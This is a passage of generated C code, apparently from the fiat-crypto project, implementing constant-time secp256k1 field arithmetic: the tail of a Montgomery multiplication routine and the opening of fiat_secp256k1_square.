x1159 = (x1158)<(x1120);
x1160 = (x1157)+(x1159);
x1161 = (x1160)+(x1076);
x1162 = (x1161)<(x1076);
x1163 = (x1161)+(x1125);
x1164 = (x1163)<(x1125);
x1165 = (x1162)+(x1164);
x1166 = (x1165)+(x1081);
x1167 = (x1166)<(x1081);
x1168 = (x1166)+(x1130);
x1169 = (x1168)<(x1130);
x1170 = (x1167)+(x1169);
x1171 = (x1170)+(x1084);
x1172 = (x1171)<(x1084);
x1173 = (x1171)+(x1133);
x1174 = (x1173)<(x1133);
x1175 = (x1172)+(x1174);
x1176 = (x1134)*((uintptr_t)3525653809ULL);
x1177 = (x1176)*((uintptr_t)4294967295ULL);
x1178 = sizeof(intptr_t) == 4 ? ((uint64_t)(x1176)*((uintptr_t)4294967295ULL))>>32 : ((__uint128_t)(x1176)*((uintptr_t)4294967295ULL))>>64 /* TODO this has not been tested */;
x1179 = (x1176)*((uintptr_t)4294967295ULL);
x1180 = sizeof(intptr_t) == 4 ? ((uint64_t)(x1176)*((uintptr_t)4294967295ULL))>>32 : ((__uint128_t)(x1176)*((uintptr_t)4294967295ULL))>>64 /* TODO this has not been tested */;
x1181 = (x1176)*((uintptr_t)4294967295ULL);
x1182 = sizeof(intptr_t) == 4 ? ((uint64_t)(x1176)*((uintptr_t)4294967295ULL))>>32 : ((__uint128_t)(x1176)*((uintptr_t)4294967295ULL))>>64 /* TODO this has not been tested */;
x1183 = (x1176)*((uintptr_t)4294967295ULL);
x1184 = sizeof(intptr_t) == 4 ? ((uint64_t)(x1176)*((uintptr_t)4294967295ULL))>>32 : ((__uint128_t)(x1176)*((uintptr_t)4294967295ULL))>>64 /* TODO this has not been tested */;
x1185 = (x1176)*((uintptr_t)4294967295ULL);
x1186 = sizeof(intptr_t) == 4 ? ((uint64_t)(x1176)*((uintptr_t)4294967295ULL))>>32 : ((__uint128_t)(x1176)*((uintptr_t)4294967295ULL))>>64 /* TODO this has not been tested */;
x1187 = (x1176)*((uintptr_t)4294967295ULL);
x1188 = sizeof(intptr_t) == 4 ? ((uint64_t)(x1176)*((uintptr_t)4294967295ULL))>>32 : ((__uint128_t)(x1176)*((uintptr_t)4294967295ULL))>>64 /* TODO this has not been tested */;
x1189 = (x1176)*((uintptr_t)4294967294ULL);
x1190 = sizeof(intptr_t) == 4 ? ((uint64_t)(x1176)*((uintptr_t)4294967294ULL))>>32 : ((__uint128_t)(x1176)*((uintptr_t)4294967294ULL))>>64 /* TODO this has not been tested */;
x1191 = (x1176)*((uintptr_t)4294966319ULL);
x1192 = sizeof(intptr_t) == 4 ? ((uint64_t)(x1176)*((uintptr_t)4294966319ULL))>>32 : ((__uint128_t)(x1176)*((uintptr_t)4294966319ULL))>>64 /* TODO this has not been tested */;
x1193 = (x1192)+(x1189);
x1194 = (x1193)<(x1192);
x1195 = (x1194)+(x1190);
x1196 = (x1195)<(x1190);
x1197 = (x1195)+(x1187);
x1198 = (x1197)<(x1187);
x1199 = (x1196)+(x1198);
x1200 = (x1199)+(x1188);
x1201 = (x1200)<(x1188);
x1202 = (x1200)+(x1185);
x1203 = (x1202)<(x1185);
x1204 = (x1201)+(x1203);
x1205 = (x1204)+(x1186);
x1206 = (x1205)<(x1186);
x1207 = (x1205)+(x1183);
x1208 = (x1207)<(x1183);
x1209 = (x1206)+(x1208);
x1210 = (x1209)+(x1184);
x1211 = (x1210)<(x1184);
x1212 = (x1210)+(x1181);
x1213 = (x1212)<(x1181);
x1214 = (x1211)+(x1213);
x1215 = (x1214)+(x1182);
x1216 = (x1215)<(x1182);
x1217 = (x1215)+(x1179);
x1218 = (x1217)<(x1179);
x1219 = (x1216)+(x1218);
x1220 = (x1219)+(x1180);
x1221 = (x1220)<(x1180);
x1222 = (x1220)+(x1177);
x1223 = (x1222)<(x1177);
x1224 = (x1221)+(x1223);
x1225 = (x1224)+(x1178);
x1226 = (x1134)+(x1191);
x1227 = (x1226)<(x1134);
x1228 = (x1227)+(x1138);
x1229 = (x1228)<(x1138);
x1230 = (x1228)+(x1193);
x1231 = (x1230)<(x1193);
x1232 = (x1229)+(x1231);
x1233 = (x1232)+(x1143);
x1234 = (x1233)<(x1143);
x1235 = (x1233)+(x1197);
x1236 = (x1235)<(x1197);
x1237 = (x1234)+(x1236);
x1238 = (x1237)+(x1148);
x1239 = (x1238)<(x1148);
x1240 = (x1238)+(x1202);
x1241 = (x1240)<(x1202);
x1242 = (x1239)+(x1241);
x1243 = (x1242)+(x1153);
x1244 = (x1243)<(x1153);
x1245 = (x1243)+(x1207);
x1246 = (x1245)<(x1207);
x1247 = (x1244)+(x1246);
x1248 = (x1247)+(x1158);
x1249 = (x1248)<(x1158);
x1250 = (x1248)+(x1212);
x1251 = (x1250)<(x1212);
x1252 = (x1249)+(x1251);
x1253 = (x1252)+(x1163);
x1254 = (x1253)<(x1163);
x1255 = (x1253)+(x1217);
x1256 = (x1255)<(x1217);
x1257 = (x1254)+(x1256);
x1258 = (x1257)+(x1168);
x1259 = (x1258)<(x1168);
x1260 = (x1258)+(x1222);
x1261 = (x1260)<(x1222);
x1262 = (x1259)+(x1261);
x1263 = (x1262)+(x1173);
x1264 = (x1263)<(x1173);
x1265 = (x1263)+(x1225);
x1266 = (x1265)<(x1225);
x1267 = (x1264)+(x1266);
x1268 = (x1267)+(x1175);
x1269 = (x22)*(x15);
x1270 = sizeof(intptr_t) == 4 ? ((uint64_t)(x22)*(x15))>>32 : ((__uint128_t)(x22)*(x15))>>64 /* TODO this has not been tested */;
x1271 = (x22)*(x14);
x1272 = sizeof(intptr_t) == 4 ? ((uint64_t)(x22)*(x14))>>32 : ((__uint128_t)(x22)*(x14))>>64 /* TODO this has not been tested */;
x1273 = (x22)*(x13);
x1274 = sizeof(intptr_t) == 4 ? ((uint64_t)(x22)*(x13))>>32 : ((__uint128_t)(x22)*(x13))>>64 /* TODO this has not been tested */;
x1275 = (x22)*(x12);
x1276 = sizeof(intptr_t) == 4 ? ((uint64_t)(x22)*(x12))>>32 : ((__uint128_t)(x22)*(x12))>>64 /* TODO this has not been tested */;
x1277 = (x22)*(x11);
x1278 = sizeof(intptr_t) == 4 ? ((uint64_t)(x22)*(x11))>>32 : ((__uint128_t)(x22)*(x11))>>64 /* TODO this has not been tested */;
x1279 = (x22)*(x10);
x1280 = sizeof(intptr_t) == 4 ? ((uint64_t)(x22)*(x10))>>32 : ((__uint128_t)(x22)*(x10))>>64 /* TODO this has not been tested */;
x1281 = (x22)*(x9);
x1282 = sizeof(intptr_t) == 4 ? ((uint64_t)(x22)*(x9))>>32 : ((__uint128_t)(x22)*(x9))>>64 /* TODO this has not been tested */;
x1283 = (x22)*(x8);
x1284 = sizeof(intptr_t) == 4 ? ((uint64_t)(x22)*(x8))>>32 : ((__uint128_t)(x22)*(x8))>>64 /* TODO this has not been tested */;
x1285 = (x1284)+(x1281);
x1286 = (x1285)<(x1284);
x1287 = (x1286)+(x1282);
x1288 = (x1287)<(x1282);
x1289 = (x1287)+(x1279);
x1290 = (x1289)<(x1279);
x1291 = (x1288)+(x1290);
x1292 = (x1291)+(x1280);
x1293 = (x1292)<(x1280);
x1294 = (x1292)+(x1277);
x1295 = (x1294)<(x1277);
x1296 = (x1293)+(x1295);
x1297 = (x1296)+(x1278);
x1298 = (x1297)<(x1278);
x1299 = (x1297)+(x1275);
x1300 = (x1299)<(x1275);
x1301 = (x1298)+(x1300);
x1302 = (x1301)+(x1276);
x1303 = (x1302)<(x1276);
x1304 = (x1302)+(x1273);
x1305 = (x1304)<(x1273);
x1306 = (x1303)+(x1305);
x1307 = (x1306)+(x1274);
x1308 = (x1307)<(x1274);
x1309 = (x1307)+(x1271);
x1310 = (x1309)<(x1271);
x1311 = (x1308)+(x1310);
x1312 = (x1311)+(x1272);
x1313 = (x1312)<(x1272);
x1314 = (x1312)+(x1269);
x1315 = (x1314)<(x1269);
x1316 = (x1313)+(x1315);
x1317 = (x1316)+(x1270);
x1318 = (x1230)+(x1283);
x1319 = (x1318)<(x1230);
x1320 = (x1319)+(x1235);
x1321 = (x1320)<(x1235);
x1322 = (x1320)+(x1285);
x1323 = (x1322)<(x1285);
x1324 = (x1321)+(x1323);
x1325 = (x1324)+(x1240);
x1326 = (x1325)<(x1240);
x1327 = (x1325)+(x1289);
x1328 = (x1327)<(x1289);
x1329 = (x1326)+(x1328);
x1330 = (x1329)+(x1245);
x1331 = (x1330)<(x1245);
x1332 = (x1330)+(x1294);
x1333 = (x1332)<(x1294);
x1334 = (x1331)+(x1333);
x1335 = (x1334)+(x1250);
x1336 = (x1335)<(x1250);
x1337 = (x1335)+(x1299);
x1338 = (x1337)<(x1299);
x1339 = (x1336)+(x1338);
x1340 = (x1339)+(x1255);
x1341 = (x1340)<(x1255);
x1342 = (x1340)+(x1304);
x1343 = (x1342)<(x1304);
x1344 = (x1341)+(x1343);
x1345 = (x1344)+(x1260);
x1346 = (x1345)<(x1260);
x1347 = (x1345)+(x1309);
x1348 = (x1347)<(x1309);
x1349 = (x1346)+(x1348);
x1350 = (x1349)+(x1265);
x1351 = (x1350)<(x1265);
x1352 = (x1350)+(x1314);
x1353 = (x1352)<(x1314);
x1354 = (x1351)+(x1353);
x1355 = (x1354)+(x1268);
x1356 = (x1355)<(x1268);
x1357 = (x1355)+(x1317);
x1358 = (x1357)<(x1317);
x1359 = (x1356)+(x1358);
x1360 = (x1318)*((uintptr_t)3525653809ULL);
x1361 = (x1360)*((uintptr_t)4294967295ULL);
x1362 = sizeof(intptr_t) == 4 ? ((uint64_t)(x1360)*((uintptr_t)4294967295ULL))>>32 : ((__uint128_t)(x1360)*((uintptr_t)4294967295ULL))>>64 /* TODO this has not been tested */;
x1363 = (x1360)*((uintptr_t)4294967295ULL);
x1364 = sizeof(intptr_t) == 4 ? ((uint64_t)(x1360)*((uintptr_t)4294967295ULL))>>32 : ((__uint128_t)(x1360)*((uintptr_t)4294967295ULL))>>64 /* TODO this has not been tested */;
x1365 = (x1360)*((uintptr_t)4294967295ULL);
x1366 = sizeof(intptr_t) == 4 ? ((uint64_t)(x1360)*((uintptr_t)4294967295ULL))>>32 : ((__uint128_t)(x1360)*((uintptr_t)4294967295ULL))>>64 /* TODO this has not been tested */;
x1367 = (x1360)*((uintptr_t)4294967295ULL);
x1368 = sizeof(intptr_t) == 4 ? ((uint64_t)(x1360)*((uintptr_t)4294967295ULL))>>32 : ((__uint128_t)(x1360)*((uintptr_t)4294967295ULL))>>64 /* TODO this has not been tested */;
x1369 = (x1360)*((uintptr_t)4294967295ULL);
x1370 = sizeof(intptr_t) == 4 ? ((uint64_t)(x1360)*((uintptr_t)4294967295ULL))>>32 : ((__uint128_t)(x1360)*((uintptr_t)4294967295ULL))>>64 /* TODO this has not been tested */;
x1371 = (x1360)*((uintptr_t)4294967295ULL);
x1372 = sizeof(intptr_t) == 4 ? ((uint64_t)(x1360)*((uintptr_t)4294967295ULL))>>32 : ((__uint128_t)(x1360)*((uintptr_t)4294967295ULL))>>64 /* TODO this has not been tested */;
x1373 = (x1360)*((uintptr_t)4294967294ULL);
x1374 = sizeof(intptr_t) == 4 ? ((uint64_t)(x1360)*((uintptr_t)4294967294ULL))>>32 : ((__uint128_t)(x1360)*((uintptr_t)4294967294ULL))>>64 /* TODO this has not been tested */;
x1375 = (x1360)*((uintptr_t)4294966319ULL);
x1376 = sizeof(intptr_t) == 4 ? ((uint64_t)(x1360)*((uintptr_t)4294966319ULL))>>32 : ((__uint128_t)(x1360)*((uintptr_t)4294966319ULL))>>64 /* TODO this has not been tested */;
x1377 = (x1376)+(x1373);
x1378 = (x1377)<(x1376);
x1379 = (x1378)+(x1374);
x1380 = (x1379)<(x1374);
x1381 = (x1379)+(x1371);
x1382 = (x1381)<(x1371);
x1383 = (x1380)+(x1382);
x1384 = (x1383)+(x1372);
x1385 = (x1384)<(x1372);
x1386 = (x1384)+(x1369);
x1387 = (x1386)<(x1369);
x1388 = (x1385)+(x1387);
x1389 = (x1388)+(x1370);
x1390 = (x1389)<(x1370);
x1391 = (x1389)+(x1367);
x1392 = (x1391)<(x1367);
x1393 = (x1390)+(x1392);
x1394 = (x1393)+(x1368);
x1395 = (x1394)<(x1368);
x1396 = (x1394)+(x1365);
x1397 = (x1396)<(x1365);
x1398 = (x1395)+(x1397);
x1399 = (x1398)+(x1366);
x1400 = (x1399)<(x1366);
x1401 = (x1399)+(x1363);
x1402 = (x1401)<(x1363);
x1403 = (x1400)+(x1402);
x1404 = (x1403)+(x1364);
x1405 = (x1404)<(x1364);
x1406 = (x1404)+(x1361);
x1407 = (x1406)<(x1361);
x1408 = (x1405)+(x1407);
x1409 = (x1408)+(x1362);
x1410 = (x1318)+(x1375);
x1411 = (x1410)<(x1318);
x1412 = (x1411)+(x1322);
x1413 = (x1412)<(x1322);
x1414 = (x1412)+(x1377);
x1415 = (x1414)<(x1377);
x1416 = (x1413)+(x1415);
x1417 = (x1416)+(x1327);
x1418 = (x1417)<(x1327);
x1419 = (x1417)+(x1381);
x1420 = (x1419)<(x1381);
x1421 = (x1418)+(x1420);
x1422 = (x1421)+(x1332);
x1423 = (x1422)<(x1332);
x1424 = (x1422)+(x1386);
x1425 = (x1424)<(x1386);
x1426 = (x1423)+(x1425);
x1427 = (x1426)+(x1337);
x1428 = (x1427)<(x1337);
x1429 = (x1427)+(x1391);
x1430 = (x1429)<(x1391);
x1431 = (x1428)+(x1430);
x1432 = (x1431)+(x1342);
x1433 = (x1432)<(x1342);
x1434 = (x1432)+(x1396);
x1435 = (x1434)<(x1396);
x1436 = (x1433)+(x1435);
x1437 = (x1436)+(x1347);
x1438 = (x1437)<(x1347);
x1439 = (x1437)+(x1401);
x1440 = (x1439)<(x1401);
x1441 = (x1438)+(x1440);
x1442 = (x1441)+(x1352);
x1443 = (x1442)<(x1352);
x1444 = (x1442)+(x1406);
x1445 = (x1444)<(x1406);
x1446 = (x1443)+(x1445);
x1447 = (x1446)+(x1357);
x1448 = (x1447)<(x1357);
x1449 = (x1447)+(x1409);
x1450 = (x1449)<(x1409);
x1451 = (x1448)+(x1450);
x1452 = (x1451)+(x1359);
x1453 = (x1414)-((uintptr_t)4294966319ULL);
x1454 = (x1414)<(x1453);
x1455 = (x1453)<(x1453);
x1456 = (x1454)+(x1455);
x1457 = (x1419)-((uintptr_t)4294967294ULL);
x1458 = (x1419)<(x1457);
x1459 = (x1457)-(x1456);
x1460 = (x1457)<(x1459);
x1461 = (x1458)+(x1460);
x1462 = (x1424)-((uintptr_t)4294967295ULL);
x1463 = (x1424)<(x1462);
x1464 = (x1462)-(x1461);
x1465 = (x1462)<(x1464);
x1466 = (x1463)+(x1465);
x1467 = (x1429)-((uintptr_t)4294967295ULL);
x1468 = (x1429)<(x1467);
x1469 = (x1467)-(x1466);
x1470 = (x1467)<(x1469);
x1471 = (x1468)+(x1470);
x1472 = (x1434)-((uintptr_t)4294967295ULL);
x1473 = (x1434)<(x1472);
x1474 = (x1472)-(x1471);
x1475 = (x1472)<(x1474);
x1476 = (x1473)+(x1475);
x1477 = (x1439)-((uintptr_t)4294967295ULL);
x1478 = (x1439)<(x1477);
x1479 = (x1477)-(x1476);
x1480 = (x1477)<(x1479);
x1481 = (x1478)+(x1480);
x1482 = (x1444)-((uintptr_t)4294967295ULL);
x1483 = (x1444)<(x1482);
x1484 = (x1482)-(x1481);
x1485 = (x1482)<(x1484);
x1486 = (x1483)+(x1485);
x1487 = (x1449)-((uintptr_t)4294967295ULL);
x1488 = (x1449)<(x1487);
x1489 = (x1487)-(x1486);
x1490 = (x1487)<(x1489);
x1491 = (x1488)+(x1490);
x1492 = (x1452)<(x1452);
x1493 = (x1452)-(x1491);
x1494 = (x1452)<(x1493);
x1495 = (x1492)+(x1494);
x1496 = ((uintptr_t)-1ULL)+((x1495)==((uintptr_t)0ULL));
x1497 = (x1496)^((uintptr_t)4294967295ULL);
x1498 = ((x1414)&(x1496))|((x1453)&(x1497));
x1499 = ((uintptr_t)-1ULL)+((x1495)==((uintptr_t)0ULL));
x1500 = (x1499)^((uintptr_t)4294967295ULL);
x1501 = ((x1419)&(x1499))|((x1459)&(x1500));
x1502 = ((uintptr_t)-1ULL)+((x1495)==((uintptr_t)0ULL));
x1503 = (x1502)^((uintptr_t)4294967295ULL);
x1504 = ((x1424)&(x1502))|((x1464)&(x1503));
x1505 = ((uintptr_t)-1ULL)+((x1495)==((uintptr_t)0ULL));
x1506 = (x1505)^((uintptr_t)4294967295ULL);
x1507 = ((x1429)&(x1505))|((x1469)&(x1506));
x1508 = ((uintptr_t)-1ULL)+((x1495)==((uintptr_t)0ULL));
x1509 = (x1508)^((uintptr_t)4294967295ULL);
x1510 = ((x1434)&(x1508))|((x1474)&(x1509));
x1511 = ((uintptr_t)-1ULL)+((x1495)==((uintptr_t)0ULL));
x1512 = (x1511)^((uintptr_t)4294967295ULL);
x1513 = ((x1439)&(x1511))|((x1479)&(x1512));
x1514 = ((uintptr_t)-1ULL)+((x1495)==((uintptr_t)0ULL));
x1515 = (x1514)^((uintptr_t)4294967295ULL);
x1516 = ((x1444)&(x1514))|((x1484)&(x1515));
x1517 = ((uintptr_t)-1ULL)+((x1495)==((uintptr_t)0ULL));
x1518 = (x1517)^((uintptr_t)4294967295ULL);
x1519 = ((x1449)&(x1517))|((x1489)&(x1518));
x1520 = x1498;
x1521 = x1501;
x1522 = x1504;
x1523 = x1507;
x1524 = x1510;
x1525 = x1513;
x1526 = x1516;
x1527 = x1519;
/*skip*/
*(uintptr_t*)((out0)+((uintptr_t)0ULL)) = x1520;
*(uintptr_t*)((out0)+((uintptr_t)4ULL)) = x1521;
*(uintptr_t*)((out0)+((uintptr_t)8ULL)) = x1522;
*(uintptr_t*)((out0)+((uintptr_t)12ULL)) = x1523;
*(uintptr_t*)((out0)+((uintptr_t)16ULL)) = x1524;
*(uintptr_t*)((out0)+((uintptr_t)20ULL)) = x1525;
*(uintptr_t*)((out0)+((uintptr_t)24ULL)) = x1526;
*(uintptr_t*)((out0)+((uintptr_t)28ULL)) = x1527;
/*skip*/
return;
}
/*
* Input Bounds:
* in0: [[0x0 ~> 0xffffffff], [0x0 ~> 0xffffffff], [0x0 ~> 0xffffffff], [0x0 ~> 0xffffffff], [0x0 ~> 0xffffffff], [0x0 ~> 0xffffffff], [0x0 ~> 0xffffffff], [0x0 ~> 0xffffffff]]
* Output Bounds:
* out0: [[0x0 ~> 0xffffffff], [0x0 ~> 0xffffffff], [0x0 ~> 0xffffffff], [0x0 ~> 0xffffffff], [0x0 ~> 0xffffffff], [0x0 ~> 0xffffffff], [0x0 ~> 0xffffffff], [0x0 ~> 0xffffffff]]
*/
void fiat_secp256k1_square(uintptr_t in0, uintptr_t out0) {
uintptr_t x15, x28, x31, x33, x29, x34, x26, x35, x37, x38, x27, x39, x24, x40, x42, x43, x25, x44, x22, x45, x47, x48, x23, x49, x20, x50, x52, x53, x21, x54, x18, x55, x57, x58, x19, x59, x16, x60, x62, x63, x17, x65, x78, x81, x83, x79, x84, x76, x85, x87, x88, x77, x89, x74, x90, x92, x93, x75, x94, x72, x95, x97, x98, x73, x99, x70, x100, x102, x103, x71, x104, x68, x105, x107, x108, x69, x109, x66, x110, x112, x113, x67, x80, x115, x30, x116, x32, x117, x82, x118, x120, x121, x36, x122, x86, x123, x125, x126, x41, x127, x91, x128, x130, x131, x46, x132, x96, x133, x135, x136, x51, x137, x101, x138, x140, x141, x56, x142, x106, x143, x145, x146, x61, x147, x111, x148, x150, x151, x64, x152, x114, x153, x155, x8, x169, x172, x174, x170, x175, x167, x176, x178, x179, x168, x180, x165, x181, x183, x184, x166, x185, x163, x186, x188, x189, x164, x190, x161, x191, x193, x194, x162, x195, x159, x196, x198, x199, x160, x200, x157, x201, x203, x204, x158, x171, x119, x207, x124, x208, x173, x209, x211, x212, x129, x213, x177, x214, x216, x217, x134, x218, x182, x219, x221, x222, x139, x223, x187, x224, x226, x227, x144, x228, x192, x229, x231, x232, x149, x233, x197, x234, x236, x237, x154, x238, x202, x239, x241, x242, x156, x243, x205, x244, x246, x248, x261, x264, x266, x262, x267, x259, x268, x270, x271, x260, x272, x257, x273, x275, x276, x258, x277, x255, x278, x280, x281, x256, x282, x253, x283, x285, x286, x254, x287, x251, x288, x290, x291, x252, x292, x249, x293, x295, x296, x250, x263, x298, x206, x299, x210, x300, x265, x301, x303, x304, x215, x305, x269, x306, x308, x309, x220, x310, x274, x311, x313, x314, x225, x315, x279, x316, x318, x319, x230, x320, x284, x321, x323, x324, x235, x325, x289, x326, x328, x329, x240, x330, x294, x331, x333, x334, x245, x335, x297, x336, x338, x339, x247, x9, x353, x356, x358, x354, x359, x351, x360, x362, x363, x352, x364, x349, x365, x367, x368, x350, x369, x347, x370, x372, x373, x348, x374, x345, x375, x377, x378, x346, x379, x343, x380, x382, x383, x344, x384, x341, x385, x387, x388, x342, x355, x302, x391, x307, x392, x357, x393, x395, x396, x312, x397, x361, x398, x400, x401, x317, x402, x366, x403, x405, x406, x322, x407, x371, x408, x410, x411, x327, x412, x376, x413, x415, x416, x332, x417, x381, x418, x420, x421, x337, x422, x386, x423, x425, x426, x340, x427, x389, x428, x430, x432, x445, x448, x450, x446, x451, x443, x452, x454, x455, x444, x456, x441, x457, x459, x460, x442, x461, x439, x462, x464, x465, x440, x466, x437, x467, x469, x470, x438, x471, x435, x472, x474, x475, x436, x476, x433, x477, x479, x480, x434, x447, x482, x390, x483, x394, x484, x449, x485, x487, x488, x399, x489, x453, x490, x492, x493, x404, x494, x458, x495, x497, x498, x409, x499, x463, x500, x502, x503, x414, x504, x468, x505, x507, x508, x419, x509, x473, x510, x512, x513, x424, x514, x478, x515, x517, x518, x429, x519, x481, x520, x522, x523, x431, x10, x537, x540, x542, x538, x543, x535, x544, x546, x547, x536, x548, x533, x549, x551, x552, x534, x553, x531, x554, x556, x557, x532, x558, x529, x559, x561, x562, x530, x563, x527, x564, x566, x567, x528, x568, x525, x569, x571, x572, x526, x539, x486, x575, x491, x576, x541, x577, x579, x580, x496, x581, x545, x582, x584, x585, x501, x586, x550, x587, x589, x590, x506, x591, x555, x592, x594, x595, x511, x596, x560, x597, x599, x600, x516, x601, x565, x602, x604, x605, x521, x606, x570, x607, x609, x610, x524, x611, x573, x612, x614, x616, x629, x632, x634, x630, x635, x627, x636, x638, x639, x628, x640, x625, x641, x643, x644, x626, x645, x623, x646, x648, x649, x624, x650, x621, x651, x653, x654, x622, x655, x619, x656, x658, x659, x620, x660, x617, x661, x663, x664, x618, x631, x666, x574, x667, x578, x668, x633, x669, x671, x672, x583, x673, x637, x674, x676, x677, x588, x678, x642, x679, x681, x682, x593, x683, x647, x684, x686, x687, x598, x688, x652, x689, x691, x692, x603, x693, x657, x694, x696, x697, x608, x698, x662, x699, x701, x702, x613, x703, x665, x704, x706, x707, x615, x11, x721, x724, x726, x722, x727, x719, x728, x730, x731, x720, x732, x717, x733, x735, x736, x718, x737, x715, x738, x740, x741, x716, x742, x713, x743, x745, x746, x714, x747, x711, x748, x750, x751, x712, x752, x709, x753, x755, x756, x710, x723, x670, x759, x675, x760, x725, x761, x763, x764, x680, x765, x729, x766, x768, x769, x685, x770, x734, x771, x773, x774, x690, x775, x739, x776, x778, x779, x695, x780, x744, x781, x783, x784, x700, x785, x749, x786, x788, x789, x705, x790, x754, x791, x793, x794, x708, x795, x757, x796, x798, x800, x813, x816, x818, x814, x819, x811, x820, x822, x823, x812, x824, x809, x825, x827, x828, x810, x829, x807, x830, x832, x833, x808, x834, x805, x835, x837, x838, x806, x839, x803, x840, x842, x843, x804, x844, x801, x845, x847, x848, x802, x815, x850, x758, x851, x762, x852, x817, x853, x855, x856, x767, x857, x821, x858, x860, x861, x772, x862, x826, x863, x865, x866, x777, x867, x831, x868, x870, x871, x782, x872, x836, x873, x875, x876, x787, x877, x841, x878, x880, x881, x792, x882, x846, x883, x885, x886, x797, x887, x849, x888, x890, x891, x799, x12, x905, x908, x910, x906, x911, x903, x912, x914, x915, x904, x916, x901, x917, x919, x920, x902, x921, x899, x922, x924, x925, x900, x926, x897, x927, x929, x930, x898, x931, x895, x932, x934, x935, x896, x936, x893, x937, x939, x940, x894, x907, x854, x943, x859, x944, x909, x945, x947, x948, x864, x949, x913, x950, x952, x953, x869, x954, x918, x955, x957, x958, x874, x959, x923, x960, x962, x963, x879, x964, x928, x965, x967, x968, x884, x969, x933, x970, x972, x973, x889, x974, x938, x975, x977, x978, x892, x979, x941, x980, x982, x984, x997, x1000, x1002, x998, x1003, x995, x1004, x1006, x1007, x996, x1008, x993, x1009, x1011, x1012, x994, x1013, x991, x1014, x1016, x1017, x992, x1018, x989, x1019, x1021, x1022, x990, x1023, x987, x1024, x1026, x1027, x988, x1028, x985, x1029, x1031, x1032, x986, x999, x1034, x942, x1035, x946, x1036, x1001, x1037, x1039, x1040, x951, x1041, x1005, x1042, x1044, x1045, x956, x1046, x1010, x1047, x1049, x1050, x961, x1051, x1015, x1052, x1054, x1055, x966, x1056, x1020, x1057, x1059, x1060, x971, x1061, x1025, x1062, x1064, x1065, x976, x1066, x1030, x1067, x1069, x1070, x981, x1071, x1033, x1072, x1074, x1075, x983, x13, x1089, x1092, x1094, x1090, x1095, x1087, x1096, x1098, x1099, x1088, x1100, x1085, x1101, x1103, x1104, x1086, x1105, x1083, x1106, x1108, x1109, x1084, x1110, x1081, x1111, x1113, x1114, x1082, x1115, x1079, x1116, x1118, x1119, x1080, x1120, x1077, x1121, x1123, x1124, x1078, x1091, x1038, x1127, x1043, x1128, x1093, x1129, x1131, x1132, x1048, x1133, x1097, x1134, x1136, x1137, x1053, x1138, x1102, x1139, x1141, x1142, x1058, x1143, x1107, x1144, x1146, x1147, x1063, x1148, x1112, x1149, x1151, x1152, x1068, x1153, x1117, x1154, x1156, x1157, x1073, x1158, x1122, x1159, x1161, x1162, x1076, x1163, x1125, x1164, x1166, x1168, x1181, x1184, x1186, x1182, x1187, x1179, x1188, x1190, x1191, x1180, x1192, x1177, x1193, x1195, x1196, x1178, x1197, x1175, x1198, x1200, x1201, x1176, x1202, x1173, x1203, x1205, x1206, x1174, x1207, x1171, x1208, x1210, x1211, x1172, x1212, x1169, x1213, x1215, x1216, x1170, x1183, x1218, x1126, x1219, x1130, x1220, x1185, x1221, x1223, x1224, x1135, x1225, x1189, x1226, x1228, x1229, x1140, x1230, x1194, x1231, x1233, x1234, x1145, x1235, x1199, x1236, x1238, x1239, x1150, x1240, x1204, x1241, x1243, x1244, x1155, x1245, x1209, x1246, x1248, x1249, x1160, x1250, x1214, x1251, x1253, x1254, x1165, x1255, x1217, x1256, x1258, x1259, x1167, x7, x6, x5, x4, x3, x2, x1, x14, x0, x1273, x1276, x1278, x1274, x1279, x1271, x1280, x1282, x1283, x1272, x1284, x1269, x1285, x1287, x1288, x1270, x1289, x1267, x1290, x1292, x1293, x1268, x1294, x1265, x1295, x1297, x1298, x1266, x1299, x1263, x1300, x1302, x1303, x1264, x1304, x1261, x1305, x1307, x1308, x1262, x1275, x1222, x1311, x1227, x1312, x1277, x1313, x1315, x1316, x1232, x1317, x1281, x1318, x1320, x1321, x1237, x1322, x1286, x1323, x1325, x1326, x1242, x1327, x1291, x1328, x1330, x1331, x1247, x1332, x1296, x1333, x1335, x1336, x1252, x1337, x1301, x1338, x1340, x1341, x1257, x1342, x1306, x1343, x1345, x1346, x1260, x1347, x1309, x1348, x1350, x1352, x1365, x1368, x1370, x1366, x1371, x1363, x1372, x1374, x1375, x1364, x1376, x1361, x1377, x1379, x1380, x1362, x1381, x1359, x1382, x1384, x1385, x1360, x1386, x1357, x1387, x1389, x1390, x1358, x1391, x1355, x1392, x1394, x1395, x1356, x1396, x1353, x1397, x1399, x1400, x1354, x1367, x1402, x1310, x1403, x1314, x1404, x1369, x1405, x1407, x1408, x1319, x1409, x1373, x1410, x1412, x1413, x1324, x1414, x1378, x1415, x1417, x1418, x1329, x1419, x1383, x1420, x1422, x1423, x1334, x1424, x1388, x1425, x1427, x1428, x1339, x1429, x1393, x1430, x1432, x1433, x1344, x1434, x1398, x1435, x1437, x1438, x1349, x1439, x1401, x1440, x1442, x1443, x1351, x1446, x1447, x1448, x1449, x1450, x1452, x1453, x1454, x1455, x1457, x1458, x1459, x1460, x1462, x1463, x1464, x1465, x1467, x1468, x1469, x1470, x1472, x1473, x1474, x1475, x1477, x1478, x1479, x1480, x1482, x1483, x1444, x1485, x1484, x1486, x1406, x1488, x1445, x1489, x1411, x1491, x1451, x1492, x1416, x1494, x1456, x1495, x1421, x1497, x1461, x1498, x1426, x1500, x1466, x1501, x1431, x1503, x1471, x1504, x1436, x1506, x1476, x1507, x1487, x1441, x1509, x1481, x1510, x1490, x1493, x1496, x1499, x1502, x1505, x1508, x1511, x1512, x1513, x1514, x1515, x1516, x1517, x1518, x1519;
x0 = *(uintptr_t*)((in0)+((uintptr_t)0ULL));
x1 = *(uintptr_t*)((in0)+((uintptr_t)4ULL));
x2 = *(uintptr_t*)((in0)+((uintptr_t)8ULL));
x3 = *(uintptr_t*)((in0)+((uintptr_t)12ULL));
x4 = *(uintptr_t*)((in0)+((uintptr_t)16ULL));
x5 = *(uintptr_t*)((in0)+((uintptr_t)20ULL));
x6 = *(uintptr_t*)((in0)+((uintptr_t)24ULL));
x7 = *(uintptr_t*)((in0)+((uintptr_t)28ULL));
/*skip*/
/*skip*/
x8 = x1;
x9 = x2;
x10 = x3;
x11 = x4;
x12 = x5;
x13 = x6;
x14 = x7;
x15 = x0;
x16 = (x15)*(x7);
x17 = sizeof(intptr_t) == 4 ? ((uint64_t)(x15)*(x7))>>32 : ((__uint128_t)(x15)*(x7))>>64 /* TODO this has not been tested */;
x18 = (x15)*(x6);
